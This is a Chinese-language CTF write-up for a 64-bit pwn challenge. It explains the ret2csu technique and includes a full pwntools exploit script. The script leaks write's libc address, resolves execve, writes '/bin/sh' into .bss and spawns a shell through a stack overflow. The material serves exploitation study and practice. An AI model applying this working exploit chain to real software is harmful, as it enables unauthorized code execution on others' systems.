Level5(ret2csu)
checksec
64位程序,只有NX保护
拖进IDA里,明显的栈溢出
但观察一下没有system和/bin/sh,那么只能自己构造了
先ROPgadget找一些有没有可用的寄存器
很明显没有合适的寄存器给我们来传参,自然想到ret2csu的方法
附一篇自己整理的ret2csu的笔记供参考
ret2csu
利用思路:
当在x64程序中找不到rdx、rsi、edi时,再使用此方法
确定gadget1、gadget2的地址及顺序
构造初步ret2csu payload函数
rbx=0
rbp=1
r12=需要调用的目标函数
(r12中设置的应该为要调用的函数的指针的地址,即got地址而不是plt地址)
遇到一个奇怪的情况
上图中比标准利用多了一个“ add rsp, 8 ” ,很明显我们需要调整一下rsp的位置,处理办法:
payload += b'A'*0x8 #rsp加了8个字节,我们添加8个字节让rsp回来
payload += p64(0)
payload += p64(1)
对于利用中传参后会有‘A’*0x38的解释
首先跳转到loc_4011fe即gadget1给寄存器赋值,然后ret到gadget2将参数转移到需要的寄存器中去,但是gadget2运行后会再次执行一遍gadget1,这样会使得栈空间提升8*7总共56字节,所以我们还需要padding56个字节,然后才能覆盖ret到需要的地址上去
所以我们0x38个字节去填充的指令是:
让我们回到题目
回到主函数,发现程序先调用了write函数,则可以用write函数来泄露libc的基址,找到execve的地址
那么总结一下大致思路:
- 通过ret2csu的方法来泄露write函数地址
- 计算基址,得到execve的地址
- 通过ret2csu的方法调用read函数向bss段读入execve的地址和字符串’/bin/sh/x00‘
- 通过ret2csu的方法调用execve
可以看出我们要多次使用ret2csu,不妨写个函数,这样可以大大减少我们的代码量
def csu(payload, rbx, rbp, r12, r13, r14, r15, retn):
payload += b'A'*0x8
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(csu2)
payload += b'A'*0x38
payload += p64(retn)
return payload
完整exp:
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
# p = remote()
p = process('./pwn')
gdb.attach(p)
elf = ELF('./pwn')
csu1 = 0x4011DE
csu2 = 0x4011C8
write_got = elf.got['write']
read_addr = elf.got['read']
main_addr = 0x401153
bss_base = elf.bss()
print(hex(bss_base))
def csu(payload, rbx, rbp, r12, r13, r14, r15, retn):
payload += b'A'*0x8
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(csu2)
payload += b'A'*0x38
payload += p64(retn)
return payload
payload = b'A'*(0x80+8)
payload += p64(csu1)
payload = csu(payload, 0, 1, write_got, 1, write_got, 8, main_addr)
p.sendline(payload)
write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr-libc.dump('write')
execve_addr = libc_base+libc.dump('execve')
payload = b'A'*(0x80+8)
payload += p64(csu1)
payload = csu(payload, 0, 1, read_addr, 0, bss_base, 16, main_addr)
#这里最后一步直接返回main是因为在read调用后会等待用户的输入,还不会直接跳转到main函数
p.sendlineafter('Hello, World\n', payload)
pause()
payload = p64(execve_addr)
payload += b'/bin/sh\x00' #'/x00'表示写入结束
p.send(payload) #这里用send是因为刚好把16个字节写满了
payload = b'A'*(0x80+8)
payload += p64(csu1)
payload = csu(payload, 0, 1, bss_base, bss_base+0x8, 0, 0, main_addr)
p.sendlineafter('Hello, World\n', payload)
p.interactive()